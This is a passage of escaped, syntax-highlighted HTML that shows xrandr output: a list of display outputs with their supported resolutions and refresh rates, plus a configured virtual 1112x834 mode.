class=&amp;quot;lit&amp;quot;&amp;gt;1920x1080&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pun&amp;quot;&amp;gt;+&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;0&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pun&amp;quot;&amp;gt;+&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;0&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt; &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pun&amp;quot;&amp;gt;(&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;normal left inverted right x axis y axis&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pun&amp;quot;&amp;gt;)&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt; &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;350mm&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt; x &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;190mm&amp;lt;&#x2F;span&amp;gt;&amp;lt;&#x2F;code&amp;gt;&amp;lt;&#x2F;p&amp;gt;&amp;lt;&#x2F;li&amp;gt;&amp;lt;li class=&amp;quot;L3&amp;quot; data-node-id=&amp;quot;20240613001945-ijqn223&amp;quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;   &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;1920x1080&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;     &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;59.93&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pun&amp;quot;&amp;gt;&lt;&#x2F;sub&gt; &lt;sub&gt;*+&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;  &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;59.93&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;  &amp;lt;&#x2F;span&amp;gt;&amp;lt;&#x2F;code&amp;gt;&amp;lt;&#x2F;p&amp;gt;&amp;lt;&#x2F;li&amp;gt;&amp;lt;li class=&amp;quot;L4&amp;quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;   &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;1680x1050&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;     &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;59.88&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;  &amp;lt;&#x2F;span&amp;gt;&amp;lt;&#x2F;code&amp;gt;&amp;lt;&#x2F;p&amp;gt;&amp;lt;&#x2F;li&amp;gt;&amp;lt;li class=&amp;quot;L5&amp;quot; data-node-id=&amp;quot;20240613001945-zmsrvti&amp;quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;   &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;1400x1050&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;     &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;59.98&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;  &amp;lt;&#x2F;span&amp;gt;&amp;lt;&#x2F;code&amp;gt;&amp;lt;&#x2F;p&amp;gt;&amp;lt;&#x2F;li&amp;gt;&amp;lt;li class=&amp;quot;L6&amp;quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;   &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;1600x900&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;      &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;60.00&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;    &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;59.95&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;    &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;59.82&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;  &amp;lt;&#x2F;span&amp;gt;&amp;lt;&#x2F;code&amp;gt;&amp;lt;&#x2F;p&amp;gt;&amp;lt;&#x2F;li&amp;gt;&amp;lt;li class=&amp;quot;L7&amp;quot; data-node-id=&amp;quot;20240613001945-yrcbzjr&amp;quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;   &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;1280x1024&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;     &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;60.02&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;  &amp;lt;&#x2F;span&amp;gt;&amp;lt;&#x2F;code&amp;gt;&amp;lt;&#x2F;p&amp;gt;&amp;lt;&#x2F;li&amp;gt;&amp;lt;li class=&amp;quot;L8&amp;quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;   &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;1400x900&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;      &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;59.96&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;    &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;59.88&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;  &amp;lt;&#x2F;span&amp;gt;&amp;lt;&#x2F;code&amp;gt;&amp;lt;&#x2F;p&amp;gt;&amp;lt;&#x2F;li&amp;gt;&amp;lt;li class=&amp;quot;L9&amp;quot; data-node-id=&amp;quot;20240613001945-06ro2sb&amp;quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;   &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;1280x960&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;      &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;60.00&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;  &amp;lt;&#x2F;span&amp;gt;&amp;lt;&#x2F;code&amp;gt;&amp;lt;&#x2F;p&amp;gt;&amp;lt;&#x2F;li&amp;gt;&amp;lt;li class=&amp;quot;L0&amp;quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;   &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;1368x768&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;      &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;60.00&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;    &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;59.88&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;    &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;59.85&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;  &amp;lt;&#x2F;span&amp;gt;&amp;lt;&#x2F;code&amp;gt;&amp;lt;&#x2F;p&amp;gt;&amp;lt;&#x2F;li&amp;gt;&amp;lt;li class=&amp;quot;L1&amp;quot; data-node-id=&amp;quot;20240613001945-nrse6bj&amp;quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;   &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;1280x800&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;      &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;59.81&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;    &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;59.91&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;  &amp;lt;&#x2F;span&amp;gt;&amp;lt;&#x2F;code&amp;gt;&amp;lt;&#x2F;p&amp;gt;&amp;lt;&#x2F;li&amp;gt;&amp;lt;li class=&amp;quot;L2&amp;quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;   &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;1280x720&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;      &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;59.86&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;    &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;60.00&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;    &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;59.74&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;  &amp;lt;&#x2F;span&amp;gt;&amp;lt;&#x2F;code&amp;gt;&amp;lt;&#x2F;p&amp;gt;&amp;lt;&#x2F;li&amp;gt;&amp;lt;li class=&amp;quot;L3&amp;quot; data-node-id=&amp;quot;20240613001945-kswpr7j&amp;quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;   &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;1024x768&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;      &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;60.00&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;  &amp;lt;&#x2F;span&amp;gt;&amp;lt;&#x2F;code&amp;gt;&amp;lt;&#x2F;p&amp;gt;&amp;lt;&#x2F;li&amp;gt;&amp;lt;li class=&amp;quot;L4&amp;quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;   &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;1024x576&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;      &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;60.00&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;    &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;59.90&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;    &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;59.82&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;  &amp;lt;&#x2F;span&amp;gt;&amp;lt;&#x2F;code&amp;gt;&amp;lt;&#x2F;p&amp;gt;&amp;lt;&#x2F;li&amp;gt;&amp;lt;li class=&amp;quot;L5&amp;quot; data-node-id=&amp;quot;20240613001945-s91r57f&amp;quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;   &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;960x540&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;       &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;60.00&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;    &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;59.63&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;    &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;59.82&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;  &amp;lt;&#x2F;span&amp;gt;&amp;lt;&#x2F;code&amp;gt;&amp;lt;&#x2F;p&amp;gt;&amp;lt;&#x2F;li&amp;gt;&amp;lt;li class=&amp;quot;L6&amp;quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;   &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;800x600&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;       &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;60.32&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;    &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;56.25&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;  &amp;lt;&#x2F;span&amp;gt;&amp;lt;&#x2F;code&amp;gt;&amp;lt;&#x2F;p&amp;gt;&amp;lt;&#x2F;li&amp;gt;&amp;lt;li class=&amp;quot;L7&amp;quot; data-node-id=&amp;quot;20240613001945-jtyaf13&amp;quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;   &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;864x486&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;       &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;60.00&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;    &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;59.92&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;    &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;59.57&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;  &amp;lt;&#x2F;span&amp;gt;&amp;lt;&#x2F;code&amp;gt;&amp;lt;&#x2F;p&amp;gt;&amp;lt;&#x2F;li&amp;gt;&amp;lt;li class=&amp;quot;L8&amp;quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;   &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;640x480&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;       &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;59.94&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;  &amp;lt;&#x2F;span&amp;gt;&amp;lt;&#x2F;code&amp;gt;&amp;lt;&#x2F;p&amp;gt;&amp;lt;&#x2F;li&amp;gt;&amp;lt;li class=&amp;quot;L9&amp;quot; data-node-id=&amp;quot;20240613001945-vaxo97c&amp;quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;   &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;720x405&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;       &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;59.51&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;    &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;60.00&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;    &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;58.99&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;  &amp;lt;&#x2F;span&amp;gt;&amp;lt;&#x2F;code&amp;gt;&amp;lt;&#x2F;p&amp;gt;&amp;lt;&#x2F;li&amp;gt;&amp;lt;li class=&amp;quot;L0&amp;quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;   &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;640x360&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;       &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;59.84&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;    &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;59.32&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;    &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;60.00&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;  &amp;lt;&#x2F;span&amp;gt;&amp;lt;&#x2F;code&amp;gt;&amp;lt;&#x2F;p&amp;gt;&amp;lt;&#x2F;li&amp;gt;&amp;lt;li class=&amp;quot;L1&amp;quot; data-node-id=&amp;quot;20240613001945-aufwbj9&amp;quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;DP1 disconnected &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pun&amp;quot;&amp;gt;(&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;normal left inverted right x axis y axis&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pun&amp;quot;&amp;gt;)&amp;lt;&#x2F;span&amp;gt;&amp;lt;&#x2F;code&amp;gt;&amp;lt;&#x2F;p&amp;gt;&amp;lt;&#x2F;li&amp;gt;&amp;lt;li class=&amp;quot;L2&amp;quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;DP2 disconnected &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pun&amp;quot;&amp;gt;(&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;normal left inverted right x axis y axis&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pun&amp;quot;&amp;gt;)&amp;lt;&#x2F;span&amp;gt;&amp;lt;&#x2F;code&amp;gt;&amp;lt;&#x2F;p&amp;gt;&amp;lt;&#x2F;li&amp;gt;&amp;lt;li class=&amp;quot;L3&amp;quot; data-node-id=&amp;quot;20240613001945-cf1276y&amp;quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;HDMI1 disconnected &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pun&amp;quot;&amp;gt;(&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;normal left inverted right x axis y axis&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pun&amp;quot;&amp;gt;)&amp;lt;&#x2F;span&amp;gt;&amp;lt;&#x2F;code&amp;gt;&amp;lt;&#x2F;p&amp;gt;&amp;lt;&#x2F;li&amp;gt;&amp;lt;li class=&amp;quot;L4&amp;quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;HDMI2 disconnected &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pun&amp;quot;&amp;gt;(&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;normal left inverted right x axis y axis&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pun&amp;quot;&amp;gt;)&amp;lt;&#x2F;span&amp;gt;&amp;lt;&#x2F;code&amp;gt;&amp;lt;&#x2F;p&amp;gt;&amp;lt;&#x2F;li&amp;gt;&amp;lt;li class=&amp;quot;L5&amp;quot; data-node-id=&amp;quot;20240613001945-4gq6kts&amp;quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;VIRTUAL1 connected &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;1112x834&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pun&amp;quot;&amp;gt;+&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;1920&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pun&amp;quot;&amp;gt;+&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;0&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt; &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pun&amp;quot;&amp;gt;(&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;normal left inverted right x axis y axis&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pun&amp;quot;&amp;gt;)&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt; &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;0mm&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt; x &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;0mm&amp;lt;&#x2F;span&amp;gt;&amp;lt;&#x2F;code&amp;gt;&amp;lt;&#x2F;p&amp;gt;&amp;lt;&#x2F;li&amp;gt;&amp;lt;li class=&amp;quot;L6&amp;quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;   &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;1112x834&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;_virt  &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;59.95&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pun&amp;quot;&amp;gt;*&lt;&#x2F;sub&gt;&lt;sub&gt;&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt; &amp;lt;&#x2F;span&amp;gt;&amp;lt;&#x2F;code&amp;gt;&amp;lt;&#x2F;p&amp;gt;&amp;lt;&#x2F;li&amp;gt;&amp;lt;li class=&amp;quot;L7&amp;quot; data-node-id=&amp;quot;20240613001945-a0hhykb&amp;quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;VIRTUAL2 disconnected &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pun&amp;quot;&amp;gt;(&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;normal left inverted right x axis y axis&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pun&amp;quot;&amp;gt;)&amp;lt;&#x2F;span&amp;gt;&amp;lt;&#x2F;code&amp;gt;&amp;lt;&#x2F;p&amp;gt;&amp;lt;&#x2F;li&amp;gt;&amp;lt;li class=&amp;quot;L8&amp;quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;  &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;1112x1080&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt;_virt &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pun&amp;quot;&amp;gt;(&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;0x306&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pun&amp;quot;&amp;gt;)&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt; &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;lit&amp;quot;&amp;gt;99.250MHz&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt; &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pun&amp;quot;&amp;gt;-&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;typ&amp;quot;&amp;gt;HSync&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt; &amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;pun&amp;quot;&amp;gt;+&amp;lt;&#x2F;span&amp;gt;&amp;lt;span class=&amp;quot;typ&amp;quot;&amp;gt;VSync&amp;lt;&#x2F;span&amp;gt;&amp;lt;&#x2F;code&amp;gt;&amp;lt;&#x2F;p&amp;gt;&amp;lt;&#x2F;li&amp;gt;&amp;lt;li 